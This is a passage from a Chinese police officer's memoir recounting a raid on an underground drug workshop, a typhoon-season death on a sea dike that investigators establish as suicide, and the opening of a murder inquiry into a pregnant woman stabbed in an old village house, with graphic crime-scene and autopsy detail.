谨慎起见，我们决定不急着跟货车正常放行，麻痹一下嫌疑人，我们盯着五菱面包车就好。我们仔细看了一下视频录像，五菱面包车经常出入到灵源山脚下那边路。我们判定，F的工厂和窝点都在，灵源山脚下。具体是哪栋房子，等待我们去排查。 小货车离开后，我们开了一辆日产NV200的面包车，从变压站那条修好的水泥路进去，过了几个弯道，我们看到路边的很多房屋，有工厂，也有自建住房，更有两者混在一起的房子。我们开着车，小心的驶进那条路，这条路过往的车很少。我们特意放慢了速度，眼睛仔细扫描着路边每一栋建筑。在一栋两层的全框架的红砖外墙房子门口，我看到我熟悉的车子身影，那辆标志4007。 我迅速拿起手机拍下车子和房子的照片，然后在地图上标点，这是一个全框架结构的房子，用红砖做得墙体，但是没有粉刷外墙，房子从外面看，共两层，楼下就是公路边，有五六个店铺的，装的合金卷拉门，无法判断哪个是主要进出口。不过这些店铺都是门头紧锁。车子继续向前，在道路前方一个工厂院子中掉头，再次缓慢开回去，这次我用苹果手机拍了一个小视频。之后我们加速离开，直接返回大队部。 根据其他侦查手段提供的线索和情报信息，结合视频监控提供的视频照片等资料，我们判定，经过几个月的筹备，F已经把所有原材料和设备准备完成，现在就差制毒工程师，这再一次让我想起来那部美剧《绝命毒师》，白老师作为一个化学老师，利用化学器皿成功制造出了高纯度的□□，到后俩还采取工业化的方式，大批量制毒，这部美剧深深影响我，让我重新认识禁毒工作的长期性、复杂性和艰巨性，白老师的专业精神，也让我佩服五体投地，特别是每次制毒的时候都把所有设备认真清洗一遍，最后能够制造出高纯度的□□，他的徒弟到墨西哥底下制毒工厂演示时，也依葫芦画瓢要求先清洁设备，最后也制造出高纯度□□。我深受此剧影响，虽然制毒严重犯罪，但是凡事认真细致就能做到极致，让我深受启发。自看了《绝命毒师》以后，我每次做饭都把灶台擦洗得很干净，做饭开始认真起来。 通过监控发现F的手下开着五菱面包车出门了，经过轨迹和视频图片分析，应该是去接人了，最后的工人应该到位了。生产时间一般不会超过半个月，都是加班加点夜以继日的干，干完就撤了，那个时候□□黑市价格在一吨6000万人民币左右，生产成本在300万元左右，一吨的□□通过萃取可以获得950千克左右的高纯度□□，批发价在150-200元每克，最低100元每克，最后两个环节，都是暴利。正因为生产□□的巨额利润，龙岩某县从事这个行业的人超千人，被列为高危地区。底下工厂能否赚钱，就看这半个月的生产情况了。 我们也在等他生产，为了能够一击必中，高效打击，确保万无一失，局里组建专案组，抽调人员同时展开行动，同时做了一个详细的抓捕方案，协调了人员、装备、技术支撑，现在已经全部到位，万事俱备只欠东风了。东风就是抓捕时机，到底什么时候才合适呢，在之前的打击经验来看，抓捕时间就是制毒工厂停工的那天。我每天紧张的盯着电脑显示器，生怕漏掉什么重要的线索。同时焦急的等待抓捕信号。 一个星期过去了，所有人在待命，领导似乎并不着急，有时间还在研究其他案件。领导不说，我也不提，我也是第一次参加这样的行动，但是多年的经验告诉我，心急吃不了热豆腐，此时此刻必须耐心等待。F的车辆和人员都没有外出活动的痕迹。 又一个星期过去了，专案组接到情报，有外地买家携带大量现金已经抵达安海，准备采购□□，不过都是按公斤买的，据说成交价高达一公斤8万元，5公斤40万。事不宜迟，领导决定第二天凌晨开始行动。 专案组分成五个小组，对买家、卖家、生产、仓储等环节展开攻击。凌晨5点统一收网。我编到了第五组，由C副局长亲自带队，我们这次的任务是捣毁工厂。通过前期的侦查，工厂楼下正对着公路，开有卷拉门。为了方便我们直接进入，我们这组配备了消防的一个车，带着破拆工具配合我们行动。 凌晨3时30分，专案组成员领齐装备，在会议室集合，C副局长做简要动员，要求然后各组按照预定方案到指定地点集结，等候一声令下，同时展开行动。为什么要同时展开行动，主要是保证行动的突然性，如果先抓后抓，可能就会惊动嫌疑人，导致有人提前逃脱，行动失败，前功尽弃。为了不惊动嫌疑人，更不给嫌疑人机会发现和逃脱，最后制定方案时，采取了同时开展行动的方案。各组领到任务以后，各自上车，朝任务地点出发。 凌晨4时40分许，我们已经抵达目标区域，制毒工厂门口，我们已经隐约能闻到制毒工厂传出的刺激性气味，所有人都等候命令，等其他组到位。那时正好黎明前天空最暗的时候，黑夜给了我们无穷的掩护。4时50分，夜色逐渐变淡，夜幕的黑色已经褪去，隐约有光亮了。消防车按照计划就位，其他组报告已经就位，C副局长一声令下，各组开始行动。 我当时跟着C副局长，他亲自带我们这一组，任务最重要，负责冲击制毒工厂。为了破门方便，两个消防员带着切割工具，听到行动的命令时，两人左右开工，30秒直接将楼下卷拉门割出一个大窟窿来，门切开后，C副局长第一个钻过这个门，直接冲进工厂一楼，我紧跟着他后面，我们冲进一楼时，才看到一名只穿着内裤身材比较胖的男子从楼梯走下来，C副局长大吼一声：警察别动，那个胖子愣在那里，我直接冲过去将男子手铐住，那个男子从头到尾都很配合，刚开始是一脸懵，当看到我拿着武器时，双手举起，慢慢蹲下来。我控制胖子以后，迅速沿楼梯跑向二楼，在二楼的房间里，七八名男子正在酣睡，连续多日的加班，各个都是疲劳不堪，楼下切割门巨大噪音都没能叫醒他们，直到我们在房间里叫他们，他们才陆续睁开眼，全部控制。 我们开始清点制毒工厂，在一楼和二楼有大量的不同颜色的大塑料桶，楼上楼下都有，有白色、蓝色、绿色三种，在二楼十几个桶内装着棕色晶体状物品，经过检测确认是□□；整栋楼还有各种化学品，对方在哪里，整个楼没有一件机床，全市大大的桶和一部分搪瓷的用具，在二楼我们找到十来个打包好的编织袋，确认袋内是□□的成品。整栋楼的空气中是浓烈的刺激性化学品的味道，散发着浓烈的刺激性臭味。 因为在工厂没有找到F，一部分人留下清点物品，看着嫌疑人，我和剩下的一部分人迅速赶往大约一两公里外的西村旧村，在F出现过的石头房子内，找到了F，当时F住在石头房子其中一个房间，我们在另一个房间内找到了十几袋的灰色编制袋，经打开确认内装□□。经房东核实，房子只租给F一个人，用于平时中转仓库和临时落脚的地方。其余各组都报告，人员全部抓获到位。有两个带着现金的买家一并抓获。 我们扣押了嫌疑人所有的车辆。我们将查获的□□全部装进五菱面包车内，由我带着一名辅警押解回单位，取样称重。一路上我开车，开车的时候我就想，后面的□□，差不多一吨了，价值几千万，从没有拉过这么值钱的东西。如果扔两包下车，拿去卖了，少说也要一两百万，内心正在意淫。天开始下雨，我不愿意关窗户，□□散发出来的刺激性味道令人作呕，非常难闻，我只想快点赶回单位处理。最后经过称重，我开车拉回去的□□850余公斤。按照当时的零售价，价值也有6000万。到此，经过4个多月的艰苦侦查，夜以继日的工作，成功捣毁一个地下制造毒品原料工厂，缴获□□850公斤还有原材料一批。将车和□□移交后，我参加了审讯和取证工作，直到所有人全部刑拘，送入看守所羁押，我才撤。然后回家洗澡，感觉洗了很久身上还有制毒工厂的那股味道，可能那个味道的记忆无法忘却，洗完澡然后我呼呼的睡了二十多小时，仿佛天荒地老。 禁毒，一场不停歇的人民战争。 公元1839年，林则徐在广东虎门发动的销烟运动，让中国近代史以一场波澜壮阔的民族禁毒斗争启幕。林则徐被我的兄弟们成为禁毒的祖师爷，自那样以后，后辈们前赴后继，至今仍然战斗在禁毒战争中。 据国家禁毒委不完全统计（缉毒战线无法精确统计），2010年以来，共有1100余名民警牺牲在缉毒工作中，超过5000人负伤，缉毒民警是牺牲比例最高的警种。 致敬！纪念每一位逝去的英魂。 12. 第 12 章 一、海堤上的男尸和带血的菜刀 每一名刑警都对死亡有特别的记忆，这种记忆不同于常人，他们见到的死亡太多，而且都是死于非命，出于职业的需要，还要通过各种途径的调查客观的还原死亡的真相，给死者和家属一个公正的交代。试想一下，在各种惨烈的死亡现场，你被领到一具或多具尸体面前，有男有女，有老有少，有婴儿有孕妇，这些尸体，有死亡时间较短的，同时还带着浓烈的血腥味或者新鲜生肉的味道，或者体表没有伤痕，但是青黑色的尸体特有的肤色（电影电视剧里尸体的颜色绝对是真实的还原）格外刺眼，还有死亡时间较长，散发着剧烈的尸臭味的；更有泡过水的，尸体肿胀，像遇到水的干海绵一般，表皮发黑，无法辨认，露出溃烂的表皮部分可以看到扭动着白色身体的蛆；面对这些尸体，你要仔细观察每一个细节，甚至还要全程看法医解刨，你会有何反应，作何感想。 我第一近距离看解刨尸体，是一具刚满16周岁的少女，我需要整理解刨尸体的录像，整理归档，录像要作为证据保存，尸检结果显示，少女被人先奸后杀，死亡原因是窒息。这种只存在于电影电视或者小说的情节，真实的出现在你面前，毫无心理准备，猝不及防，连一点幻想的画面都没有。我吃惊的看着那名花季少女，法医熟练的用手术刀切开她的皮肤，开膛破肚，取出需要化验的内脏样本，查看皮肤下血管和内脏的损伤情况，法医的助手正在一一记录。你能感觉有股热血正在快速的往你头上涌，头变得很沉重，已经开始有些晕厥的前兆，你要努力控制自己，不要晕倒，更不能出现恶心想吐，然后强装镇定，表现得像个老警察一样，静不做声（其实我的喉咙已经发不出声音来），脑袋里会不会也想我一样，突然闪现一个幻境，那名少女睁开了眼睛，然后愤怒的起身，转眼就被一名男子拖到此处，强行按在地上，衣服被撕开，她痛苦的看着我，向我求救，我很想过去救他，但是身体不听使唤僵住了，那个男人只有一个背影朝着我，我看不到他的脸，我开始愤怒起来，面部涨红表情夸张，又是一阵眩晕，画面消失，努力平复了情绪以后，提醒你自己，赶紧做好自己工作，我选择了继续录像，假装刚刚一切都没有发生一样。 人生在世，逃不过两件事“死亡和纳税”。死亡是如此真实的存在，尤其是当你经常要面对死亡时，你会发现所有的幻想都只是幻想，真实就是真实，残酷而冰冷。很多时候，当你努力坚持要活着的时候，却与死亡不期而遇，没有人能预见。那些年，由于死亡见得多了，难免有些麻木，你会有很多认真思考，当你带着一身的尸臭味，在深夜里静思的结果就是你会对于死亡有不同的理解。 “人固有一死，或轻于鸿毛，或重于泰山”。 因为年少时曾遭遇一场意外，当时命悬一线，幸好命大，在偏僻的农村，血即将流尽之时，被及时送到医院，医生使用医院仅存的药物，一阵强心针（肾上腺激素），把我从死亡线拉了回来，这种濒死的体验，让我脑袋里经常出现死亡幻境；我时常梦见自己的死亡，战斗中被子弹打死，要么搏斗中被人用刀捅死，还有离奇的被炸死，救人而死......这些死亡的方式几乎都是因公殉职，或是死得壮烈，这些都是我能接受的方式，是我所期待的死亡，有时梦见自己的死亡，家人伤心欲绝，我眼泪汪汪，从梦中惊醒，发现只不过是梦境。 现实生活中，我格外惜命，我意志坚定的认为只有好好的活着，才能救到更多的人，做更多的事情。有时候活得像个傻子一样，傻傻的坚持其他人认为不可思议的事情，譬如，工作再忙，时间再紧张，我还是坚持在写，哪怕熬夜。 很多时候，生活是一场修行，死亡是很容易的事情，活着反而很艰难，既然死都不惧，为何不选择艰难的活着呢。 闽南地处东南沿海，每年春季开始到秋季结束，总有台风到访，有大有小，各不相同，没有经历过台风，你都不好意思跟别人吹牛自己在海边混过饭吃。台风最大的特点就是，大风伴随着短时强降水，大风过境摧枯拉朽，短时强降水水漫金山，混合攻击后，到处一片狼藉，残枝落叶，各种小物件，散落在湿湿带有污泥的地上，让人举步维艰。每每台风来临，我们都如临大敌，全体待命严阵以待，你不清楚这个台风的威力会造成什么危害。 在一个台风快要来临的头一天，有人在巡堤时发现在辖区函村一处防护堤上发现一名男子尸体，那时已经起风，天已经变得阴沉，随时可能下雨。我们迅速驱车赶往现场，车一直往海边方向开，外面的风越来越大，树在挣扎中大幅度的摇摆，我能感受到大风吹过车身带来的噪音和晃动。开到水泥路的尽头，这里已经没有任何建筑物，地势变得开阔，有几处垃圾倾倒点，地面是大颗粒的砂质泥土，长着一簇簇的野草，结实，但无法种植庄家，不远处有一些护堤，右侧向东的方向是内河入海口，这些入海口以滩涂为主，布满厚厚的污泥，是跳跳鱼、海蛏的地盘，各种海蟹，特别是锯齿蟹，当地人称为“红膏蟹”或者“红蟳”，那里还生活着各类的昆虫和鸟类，富含各类营养物质，形成独特的自然生态，涨潮时，海里的鱼会过来觅食。人们修建防护堤，一是为了保护已经开辟的耕地，还种有防护林带；二是为了保护养殖水产的养殖场不被潮水影响；三是陆上土地已经满足不了工业用地需求，必须向海发展；最后一个是修堤就是为了从大海中圈一块养殖场，养殖海产品。 继续沿着去海边养殖场的土路行驶大约五百米，看到一辆银灰色的日产逍客停在一处护堤外。我们下车查看，这辆日产逍客驾驶座一侧的车门是开着的，可以看到车内空无一人。报警人告诉我们在尸体在护堤的另一头，护堤高约4-5米，土质的，堤上已经不规则的生长着各种草，草丛很高，也能看到护堤裸露出来的土。我们沿着石头堆砌而成的台阶，爬上护堤，堤的上端有很多石头，夹杂在草丛中，在草丛上，堤面上，石头上我们看到有很多血迹，草丛有被折断的痕迹，还有大量的脚印，血迹脚步很凌乱，沿着血迹，我们看到一把不锈钢的菜刀在堤面上，上面有很多血迹，人的毛发，发现菜刀的堤下方有一个男人面朝下，趴在一个树的根部，堤的这一侧种了很多树，因为很多落叶，从菜刀到男子的位置，一路都有血迹沾在落叶上。树的外侧是一条小河，小河流向大海的方向，通过一个水闸与大海联通。 我们确认那是一个人以后，我们没有选择下去查看，土地潮湿，会留下很多痕迹，容易破坏现场，我招呼大家立即撤出，到外围保护好现场，法医、痕检陆续赶到，一部分人在勘查那辆日产逍客，一部分人在提取血迹，法医则在检查尸体。台风就要来了，大家要抓紧时间，赶在台风前完成现场的勘查，否则大雨会浇灭一切。风很大，有时我几乎站不稳。法医检查完尸体，初步推断，死亡时间大约12个小时，死亡原因是多处刀伤造成的失血过多，死者的面部、颈部、左手手臂、手腕等多处有刀砍过的痕迹，致命伤是劲动脉。现场照向提取了大量的脚印。 我们仔细观察了一下那把菜刀，看上有些年头了，很陈旧，有些钝，还有几处缺口，刀面上的血迹已经干了，血迹上占有人体的毛发。在台阶的最上方石头边上，旁边散落着大量的烟头。 我们返回那辆日产逍客，在上面查找有价值的物品，找到了车辆行驶证，登记的车主，跟尸体上发现的钱包中的身份证是同一个人，基本上可以确认死者就是车主，死者的手机也在车上找到。死者的钱包内有很多现金，基本上可以排除谋财害命的可能。从现场勘查的情况看，基本上可以肯定，这是第一死亡现场，死者的尸体并没有被移动过。我们开始沿着车辆来的方向，访查可能会遇到的人。法医们还在现场，继续寻找他们想要找的东西。 离现场最近的是一家企业新盖的厂房，离水泥路尽头约三百米远，占地面积很大，有一个很大的院子，整个厂区呈品字型。有个保安室，我们惊喜的发现保安室门口装有摄像头。 看到工厂保安室的摄像头时，真的是喜大普奔，下车直接扑了过去，出示证件后，保安室的保安好奇心特别重，一直找我打听发生了什么事，我瞎编了一通，狠狠的吓了他一下，然后警告他不要瞎打听，然后我问他，案发时间段前后有没有看到什么人和车子经过，被吓到的小保安，战战兢兢的回答我没上班、不知道。我没跟他多废话，目前是视频录像，直接找到硬盘录像机，拿出随身携带的U盘，校对时间，开始拷视频录像资料，按照领导要求，边拷边看，放到16倍速在看。 这是个模拟信号的摄像头，图像清晰度一般，不过还是能把整个门口的来往人员车辆看清楚。看了一个多小时，终于看到死者那台东风日产逍客，但是天很快就黑了，天黑之前，只有死者的车辆开过去，没有人和车跟过去。继续往后看，因为图像变暗，只能较慢的速度看，但是没有发现有人车从死者停车位置方向过来，那个位置过往的人和车本来就很少，属于比较偏僻的位置。 我越看心里越发虚，内心在猜想死者的各个画面，会不会嫌疑人事先很早就到现场等死者，死者生前曾接到一个电话，之后就驾车到现场，然后被人砍死，但是案发后，嫌疑人去哪里了？难道说从海上烂泥滩里爬出去，或者飞走，飞天遁地是不太可能，最大的可能是嫌疑人反侦察能力很强，从工厂的监控盲区离开？还是我看的视频有问题？我反复的问自己。我的双眼紧紧盯着视频，突然监控画面中出现一辆垃圾车，如同溺水的人发现了一根稻草，拼命想抓住，视频中垃圾车凌晨往现场方向开，经过探头，过了约十分钟返回，再次经过探头。我去过现场，十分钟基本上无法完成整个案件，况且垃圾车还要过去把垃圾卸掉，基本上可以排除是嫌疑车辆。我继续往后看，视频录像中树木在拼命摇曳，草丛已经东倒西歪，台风前夕，风很大，偶尔还有小雨点飘过，但是就是没有人经过。我看完录像，心情沉重，窗外的风更加急促，保安室的窗户已经在作响。我刚拧开门锁，一股巨大的力量将门推向我，我猝不及防，向后退了一步，身体迅速前倾，抵住门，然后将门完全打开，迎面而来的是带着海湿和烂泥土味的大风，我只能眯着眼睛，弯腰跑向我们的车。我们的金杯海狮面包车，在狂风下颤抖，这次台风威力很大，还没有登陆呢，风力就已经让你寸步难行，我想着海堤还有勘查现场的兄弟，暗暗捏了一把汗。 我们直接开车回单位，回去继续观看视频，当时晋江地区公安机关统一建设的城市安全信息系统在晋江鞋都辖区装了几十个高清摄像头，控制各个主要路口桥梁，通过视频专网链接，因为我跟安装负责视频的阿尤认识，他很早就指导我使用，我通过视频开始综合运用，加上早期的全球眼视频，也有几十个摄像头，视频资源还是不错的。我在盘算着回去找那些视频继续看的时候，我看到殡仪馆的车往案发现场去了，现场勘查和法医尸检已经结束了，现在要看家属是否同意解剖了。 我们达到单位的时候，雨点已经打在我们车窗上啪啪作响。我下车赶回办公室，开始查阅视频，全市通过视频查案件的人还不多，视频发挥的作用，越来越显现出来。调取第一个路口的视频，是全球眼监控，图像比较模糊，凭着我对汽车的熟悉程度，我很快在车流中找到死者驾驶的那台东风日产逍客，但是清晰很低监控，无法看清车内有几个人，谁驾驶车辆，只能继续延伸他开车来的路线，我继续倒推，在之前的路口视频中看到他的车辆，仍然是全球眼，但是无法看清，死者开车沿着鹏青路从鹏头方向开车到现场的，经过半个小时的追踪，我在鹏青路的高清视频找到这辆车，可惜是背面，车牌非常清晰，视频显示，死者是从大鹏村自己经营的建材城开车出发的。 外面已经是风雨交加，台风预计几个小时内就要正面登陆，我们叫上司机，要开车去死者位于大鹏村鹏青路边自己经营的建材城里，查看监控录像，看看最后是谁驾驶车辆离开，几个人一起。 我们出门时，雨已经很大了，在大风的助力下，雨水成不规则的线状砸向每一个它能触碰的物体上，形成积水，雨刮器快速摆动也无法清理掉前挡玻璃上的雨水，道路上开始有很多积水，大雨将外面的世界填充，变得模糊不清，我们凭着记忆，慢慢行使在路上，道上的车已经很少了，看有行人在路边，伞被吹翻，无奈的拿在手里，身上的衣服全部贴在身上，缓慢向前行走。我也很想让雨水冲刷一下我迷茫的心灵，不过此下，我有更重要的任务，我要争分夺秒查出案件真相，我们抵达建材城的时候，店外停了很多车，把路边停车位置都占满了，不少是豪车。闽南人家族观念很重，而且很团结，善于抱团，遇到困难时会选择抱团取暖，相互扶持，所以发展很快。很多时候，谁家里有个什么，大部分人都会过来，虽然台风天，很多人冒着大风大雨赶过来。 很多死者的家属在店里，安慰正在哭泣的女眷，整个店里来了很多人，男男女女，大家表情凝重，可能是亲戚朋友。我说明来意，有一个男子引导我去找视频监控的录像机，我还是老办法，一边拷贝，一边看，校对完时间后，我开始回看录像，从我推算的时间开始倒推，很快我就看到那辆车停在店门口的视频探头下，我压抑住自己激动的内心，专注的看视频录像，视频中死者脚步沉重，从店卫浴区的这边门面出来，缓慢的走向那辆银灰色的东风日产逍客，打开车门，转身朝店里张望了一下，然后上车发动车子离开。 只有一个人！只有一个人上的车！车上只有一个人！我的内心有了恐慌，我知道我发现了什么，但是我无法跟家属说，只是说我们会查清楚情况，给一个交代。我们还想询问当天建材城的店员，老板走的时候有没有交代什么，建材城生意不太好，店员都是亲戚和子女，当天是死者女儿在看店，但是女儿介绍说，死者什么也没有说，接了一个电话，在电话里好像跟人吵架，然后就上车走了。死者的妻子当时不在店里，我们没见到人。我想问她，死者最后一次见面通话短信的情况，但是我没能问到。有人跟我说，我的同事刚刚已经来过了，问了很多问题。我还在想谁过来了，动作真快，应该是访查组的，结果他们告诉我说是法医也来过。 店里的人实在太多，有些没事可干的人，在我旁边观察我在干什么，我感觉不太自在，慎得慌，我只想赶紧拷贝监控录像，快点离开。听接待我们的这个亲戚介绍，死者原先是开鞋厂的，08年金融危机后，生意一年不如一年，干脆就停了，后来时任□□黄少萍开企业家座谈会时提出一个“二次创业”的号召，要这些企业家不要气馁，开办实业，市委市政府会给予政策支持。当时全球经济环境不好，08年以后每况愈下，有很多工厂企业停业，甚至破产清算。“二次创业”就是在那个背景下提出来的，要发挥闽南人“爱拼会赢”的传统。死者就是响应号召，工厂停了以后，转身投入开了建材商城，卖装修材料，家装卫浴等。可惜那时房地产正低迷，生意一直没有起色，为了能够持续经营，死者在外面借了不少钱，听说死者的事情后，有很多债主赶过来店里查看情况，让我想到了那些暗中观察我的那么几个人，眼神古怪。 考完监控录像，我急速冲出人群，冲进大雨中，让司机开车赶紧离开，雨一会大一会小，但是没停，每次台风来临，差不多就是这样。如果运气好，正面登陆，正好处于台风中心的话，风小雨小。有时甚至微风无雨。 一路上都是被狂风刮断的树枝，还有被吹倒广告牌，吹断的电线在飘动，塑料瓶罐子在道路上翻滚，偶尔看到有物品从你前方上空飘过。路上已经看不到行人了，车还是有一些，车速都很慢，“紧走沙子慢走水”，这是我玩越野的圈子里流行的一句话，老司机的经验总结。在充满积水的道路行使，诀窍是，低挡匀速，油门不轻不重，保持前行，速度一定不能快。果不其然，在积水较深的七一路和鹏青路交汇处，有车辆熄火开着双闪停在水中，司机无奈的看着我，我急于赶回单位，参加专案汇总会议，无心救援，谁叫他开那么快呢。 我抵达单位的时候，门口狭小的停车场已经停满了车，有法医的车，有痕迹的车，有大队领导的车，当时大队领导开着捷达和老别克荣威，还有局领导的丰田皇冠 ，司机在车上等。 汇总会议定于5分钟后开始，我在脑海里整理了一下我的视频侦查的发现，正在组织语言，上楼时在走廊里碰见副局长和大队长，他们表情轻松，笑着跟我打招呼，问我看视频的情况，提醒我一定要把视频录像全部拷好存底不要出什么差错。我请他们放心，然后跟着他们走进了会议室。 会议室位于鞋都镇派出所二楼，外面的树枝是不是的敲打着窗户，提醒我们台风的存在。跟以往的案件一样，由分管刑侦的副局长亲自主持，因为案件非常敏感，死者身份比较特殊，外界已经是各种传闻，针对这起案件，他有三点意见：第一、事实必须查清楚，由证据证实，还要经得起检验；第二、证据必须扎实完整，合法有效；第三、案件不管什么结论，必须要向家属和社会解释清楚，特别是家属要听得懂，并且做好家属的工作。然后是几个人把情况各自汇报一下，重案队的报告说，根据死者生前接通的电话是其债主的，打过来催债的，经过核实，债主案发时不在现场，排除作案可能；死者手机开机后，收到一个短信，内容是：你是不是死了，刚刚给你转了80万，电话就不接了，还关机，是不是想要赖账。经过核实，死者生前最后借了一笔80万的，用于周转，这笔钱在死者银行账上，没有动过；死者最后有发信息给其妻子，说对不起妻子，实在坚持不下去了。另外经调查，死者借了非常多外债，有一些利息很高，房子都抵押出去了；死者除了有债务纠纷外，生活正常，没有仇人，分析其话单，未发现有情人的情况。 我则将视频侦查的情况总结了一下，死者从自己经营的建材城驾车出来，直接开到尸体被发现的地点，中途没有停留，也没有人上车，车上应该是他独自一人。 法医最后做总结：从现场情况看，现场只有死者一人的血迹，因为地面潮湿，只有死者一个人的脚印，没有其他人的，特别是尸体周围没有脚印，应该是从堤上滚落到发现尸体位置；另外死者身上的伤口，整个左手臂有伤口，而右边没有，现场发现的刀是致死凶器，上面只有死者右手的指纹，头部颈部的伤，符合其自己右手持握刀具砍杀自己的特征；这把菜刀，证实是死者家中厨房正常使用的菜刀。刀刃很钝，并不锋利，死者身上的伤口除几处是现场石头刮伤外，其余伤口皆是那把菜刀形成。现场有些凌乱，是死者砍伤自己后，在现场挣扎留下的，最后滚落到堤下。综合各种情况，可是证实，死者为自杀，不是案件。 我们得出结论后，告知死者家属，家属同意我们的结论，没有异议，死者已经有轻生的年头，曾多次表示后悔开建材城，借了太多债，最后被压垮了，生前曾向其妻子，女儿表示无颜继续活在世上，那天债主的追债电话，就成了压垮死者的最后一颗稻草。 每一个生命，都必须被尊重，就算本人不珍惜自己的生命，但是作为刑警，对每一个逝去的生命都还以尊严，告慰还活着的人。 小结：死都不惧，有何不敢活着 二、旧厝里的女尸，一尸两命 西坂村，有大量的古厝一直连接到四境社区，之前四境社区有大量的古厝，被改造之前，也是藏污纳垢之地，案件频发，□□□□、仙人跳、抢劫盗窃，非常常见，数次打击收效甚微，后来拆迁建成商业地产，案件就消失了。而西坂村则迟迟未见动静，□□成群结队。还存在“仙人跳”团伙，屡禁不止，打不干净。那年老纪是西坂片警，为了给他撑场面，打击一下□□团伙，震慑一下，我协助他开展了一次小的行动。 某日下午，我化妆成嫖客，进入西坂旧村，在一处旧厝门口，跟一名女子谈好价钱后，进入一间旧厝内屋，外面大太阳，内屋有些阴凉，很简陋，一张竹床上面铺着一张旧棉被，上面是草席，让我感觉意外的是，房间门是铁门，进去后，女子把门栓锁好。按照实现计划，我就找茬跟失足妇女引发冲突，刚刚吵了起来，吵架很顺利，她就中计喊人，但是意外的是，先是旧房子内一处矮墙被跑出来一名很壮的男子。我立即控制住该名男子，并警告他我是警察，不要动，结果他反抗得更厉害，我费了九牛二虎才按住，根据事先的计划（漏洞百出的计划），那时支援警力应该已经达到，原计划是为了引蛇出洞，人多进去，这些人就全部躲藏了。我是生面孔，独自一人先进入，引坏人出现，他们在旧村外通过视频探头观察我，我进入房间，他们就围过来，仅仅五分钟就够抵达。但是五分钟已经过了，这时有人在敲门，不是我的支援警力，是□□团伙的另外的成员，要准备进来帮忙，有人砸场子，不过万幸门打不开，进来的时候被那名女子拴上门栓反锁了。屋内的男子已经被我徒手压在身下，女子趁机要去开门，被我看到，我由冲过去守在门前，将那名女子直接摔倒在地上，但是屋内的男子又爬起来，接着又是一番搏斗，1VS2，好在那名女子力气较小，现场也没有器械，我靠着训练和身强力壮，守护这门，双方僵持。敲门声没有了，变得非常安静，没过过久，外面又响起了敲门的声音，不过变成了同事的声音，我迅速打开门，进来的同事告诉我说，刚刚门口是一群拿棍子的男子，看到警察来了，作鸟兽散。我倒吸一口凉气，这次差点被老纪坑惨了，如果那群人进来，后果真的不堪设想。还好里面的这名男子没有携带任何器械工具，我算是撞了一回大运，坚持到支援警力赶到，毫发无损。 此役，我终于明白三件事，第一，不要跟老纪一起抓人，纰漏太多，支援速度太慢；上一次是在查网吧的时候，碰到一名嫌疑人，他没拦住，然后跑了，我追过去，把人抓住的，我已经把人按倒上铐，他才气喘吁吁的赶到；第二，计划一定要充分周密，携带一定要装备，充分考虑武力情况，这次好在对方持械的人被挡在门外，不然我就尴尬了；第三，不要再做引蛇出洞这种危险系数极高的事情，风险高，无法评估，不能拿自己去冒险，遇到案件能抓就直接抓，不能抓，直接略过。 西坂，终归是没有彻底打击整顿好，□□的情况一直存在。这种情况一直持续到我到刑警队。某年一个五月份中旬的夜晚，我刚刚加完班，准备回家，收拾好东西，发动汽车，准备出发，接到电话通知西坂有命案，我们过去帮忙。回单位，跟着医生一起赶往现场。现场在西坂旧村，把车停在路口，村里的巡逻队员已经在路口把守，无关人员不要进入，因为认识我，就主动过来引导我们到现场，我路上还在想，是不是哪个嫖客把□□女给杀了，或者仙人跳团伙被人弄死了。 现场离路口不远，两三百米的样子，一处旧厝的房间内，跟我看到的所有古厝房屋一样，一个简易的竹床，旧被子，草席，还有卫生纸，避孕套，边上还有个凳子，放着衣服，没有其他的东西，现场有非常明显的打斗痕迹，四周墙上、各个物品上都有血迹，死者躺在房间的门口，女性，肚子很大，死亡时间不到六个小时，现场有浓烈的鲜血的味道，死者穿着裙子，上身全是血迹，有非常多的伤口，伤口都不大，法医介绍，死者身上的伤口，长不到2厘米，但是比较深，最深的地方有10厘米，致命伤在颈部。现场没有看到凶器，凶器分析为带尖刃的折叠刀或者细的水果刀。法医还介绍，死者是孕妇，肚子很大，看上去怀孕七八个月了。听到这个，我脑袋有种被重击的晕厥，两眼发黑，闭上眼睛，努力的深呼吸，过了好一会，才将情绪平复。 据了解，一个本村的老人家，住在旧村，晚上的时候，听到有人在吵架，尖叫喊杀人了，就过来看，发现了倒在血泊中的女子，于是赶紧报警，120来了以后，经医生确认已经死亡。重案队的兄弟已经在开始访查周围群众。 西坂村经济条件不错，村里自费安装了很多摄像头，现场旁边路口就有一个，我当时的反应就是去看录像，拷贝起来。我提出来去看监控，重案队长K队，就让两名侦查员跟我一起去了村委会，因为当时的视频录像全部在村委会警务室存放，由巡逻队员管理。我们马上调阅当晚的录像，就着监控的显示器，我们几个人就坐在那里看，老纪还专门打来电话，说要全力以赴支持我们的工作，让我直接调配巡逻队员。 监控显示，傍晚时分，女子还活着 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K队组织各队人员开始沿着嫌疑人逃离路线寻找监控录像，晚上的那条路车水马龙，人来车往，好在夜间有路灯，虽然监控录像比较模糊，长时间看着模糊的监控录像，眼珠都要掉出来了，凌晨三点我们还在村委会的警务室看着监控，终于经过反复辨认，终于在桥头的监控录像里发现了惊慌失措，脚步凌乱的嫌疑人，视频里嫌疑人方向比较乱，最后还是过桥而去，进入到另一个村。 专案组迅速转战另一个村，当时的视频监控没有联网，各个村自己安装的监控视频，录像资料存储都在村委会的警务室内。过河就属于两个不同的村，我们先到了河东边的村子，结果村委会的监控没有放在警务室一起，而是放在菜市场那边的办公室，我们赶到菜市场，没有人值班，铁将军把门，无可奈何。当时大家都很疲劳，没有耽误时间，直接回家睡觉，来日再战。 第二天，我睡到十点多，才起床，在单位外面路口的店里吃了一份面线糊加油条，之后就去了东边那个村，监控录像里，没有看到嫌疑人，反复看了几遍都没有。我们就大胆放弃了，直接去河对岸西边的那个村，过桥后，向西沿着河边有条路，往鞋都方向，路边安装了监控。调取案发当日的录像，不多久，嫌疑人慌张的身影继续出现在录像里，总算是找到了嫌疑人，但是那个时候监控并不多，而且路口很多，监控没有把每个路口看住，那个时候我就在想，如果是我来安装监控，监控该往哪里安装，如何才能更好的发挥作用。在这个警务室监控中，只在两个视频录像中看到嫌疑人的身影，嫌疑人继续向北走，消失在路上，我们在路边仔细寻找他可能消失的位置，但是一无所获，总结了一下前期的侦查，嫌疑人作案后，行动路线不确定，但是能够判断的是，嫌疑人比较惊慌，案发路线有些曲折，但是总体向北。 